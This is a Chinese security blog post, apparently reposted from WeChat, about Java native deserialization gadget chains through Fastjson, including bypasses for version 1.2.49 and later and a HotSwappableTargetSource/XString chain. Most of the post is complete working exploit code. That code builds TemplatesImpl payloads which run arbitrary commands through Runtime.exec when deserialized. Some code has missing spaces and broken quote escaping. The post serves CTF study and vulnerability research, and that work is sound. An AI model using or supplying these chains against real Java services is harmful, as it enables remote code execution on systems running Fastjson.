可以看到JSON类中是有toString方法的并且调用了toJSONString方法,而我们知道这个方法是会触发getter方法的。所以思路很明确了找到一个能够readObject的类,调用toString方法,然后调用toJSONString方法,再调用getter,实现反序列化利用。
看师傅们分析的博客发现是利用的cc5链的BadAttributeValueExpExeption中的readObject方法调用了toString方法进行调用,后半部分的get是利用链templates链进行动态加载因为
temaplates里有getOutputProperty方法可以触发。
可以看到BadAttributeValueExpExeption类中的readObject方法调用了toString方法。
poc
maven依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
fastjson1
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
publicclassTest{
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
publicstaticvoidmain(String[] args)throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");
clazz.addConstructor(constructor);
byte[][] bytes = newbyte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
fastjson2
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
publicclassTest{
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
publicstaticvoidmain(String[] args)throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");
clazz.addConstructor(constructor);
byte[][] bytes = newbyte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
fastjson原生反序列化1.2.49绕过
从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
在其SecureObjectInputStream
类当中重写了resolveClass
,在其中调用了checkAutoType
方法做类的检查
具体调用流程参考:y4师傅的博客:
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/#%E5%9B%9E%E9%A1%BE
绕过:
-
所以我们的重点就是如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查 -
当向List、set、map类型中添加同样对象时即可成功利用,当我们写入对象时,会在 handles
这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles
这个hash表中查到了映射,那么就会通过writeHandle
将重复对象以引用类型写入
y4师傅的流程总结
序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles
这个hash表中查到了映射,后续则会以引用形式输出
反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream
,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过
当然前面也提到了不仅仅是List,Set与Map类型都能成功触发引用绕过。
POC
maven
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
hashmap引用
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
publicclassY4HackJSON{
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
publicstaticbyte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(""+cmd+"");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
publicstaticvoidmain(String[] args)throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", newbyte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
arraylist引用
package com.ocean;
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
publicclassfastjsonyuanshengBypass{
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
publicstaticbyte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(""+cmd+"");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
publicstaticvoidmain(String[] args)throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", newbyte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);
arrayList.add(bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(arrayList);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
Fastjson Xstring绕过-HotSwappableTargetSource
在一些ctf题目中会将BadAttributeValueExpException给禁用掉所以这里学习到一种新的绕过链子先给出poc
POC
package com.ocean;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
publicclassfastjsonyuanshengBypass_xstring{
publicstaticvoidmain(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] codes = cc.toBytecode();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",newbyte[][] {codes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
// HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
String base64 = serial(hashMap);
System.out.println(base64);
deserial(Base64.getDecoder().decode(base64));
}
publicstatic String serial(Object o)throws IOException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
publicstaticvoiddeserial(byte[] bytes)throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
接下来分析一下这个链的原理,可以看到入口点事HashMap这里直接跟踪下反序列化的流程就知道了
可以看到在hashmap的readobject方法里最后调用的事putVal方法而他的key事HotSwappableTargetSource对象
跟下去
这里会调用equals方法,这里相当于调用的事HotSwappableTargetSource的equals方法跟进去
这里会执行target对象的euals方法我们看一下target对象是谁
可以看到是Xstring对象,跟到他的equals方法里去
可以看到这里obj2对象调用了toString方法。后面就是fastjson+ templatesimpl的流程了
那这里我们需要看一下如何才能将target对象赋值为Xstring对象呢
可以在HotSwappableTargetSource的有参构造方法中找到可以直接赋值。
高版本POC
arrayList
package com.ocean;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
publicclassfastjsonyuanshengBypass_xstring{
publicstaticvoidmain(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] codes = cc.toBytecode();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",newbyte[][] {codes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templatesimpl);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templatesimpl);
// JSONObject jo = new JSONObject();
// jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
setValue(h2,"target",new XString("xx"));
arrayList.add(hashMap);
String base64 = serial(arrayList);
System.out.println(base64);
deserial(Base64.getDecoder().decode(base64));
}
publicstatic String serial(Object o)throws IOException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
publicstaticvoiddeserial(byte[] bytes)throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
hashmap
package com.ocean;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
publicclassfastjsonyuanshengBypass_xstring{
publicstaticvoidmain(String[] args)throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open -a Calculator");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] codes = cc.toBytecode();
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",newbyte[][] {codes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
// ArrayList<Object> arrayList = new ArrayList<>();
// arrayList.add(templatesimpl);
// JSONArray jsonArray = new JSONArray();
// jsonArray.add(templatesimpl);
JSONObject jo = new JSONObject();
jo.put("1",templatesimpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
setValue(h2,"target",new XString("xx"));
HashMap<Object,Object> hhhhashMap = new HashMap<>();
hhhhashMap.put(templatesimpl,hashMap);
String base64 = serial(hhhhashMap);
System.out.println(base64);
deserial(Base64.getDecoder().decode(base64));
}
publicstatic String serial(Object o)throws IOException, IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
publicstaticvoiddeserial(byte[] bytes)throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
publicstaticvoidsetValue(Object obj, String name, Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
一些ctf题目
参考:https://xz.aliyun.com/t/16540
https://xz.aliyun.com/t/16608
原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-FastJson反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论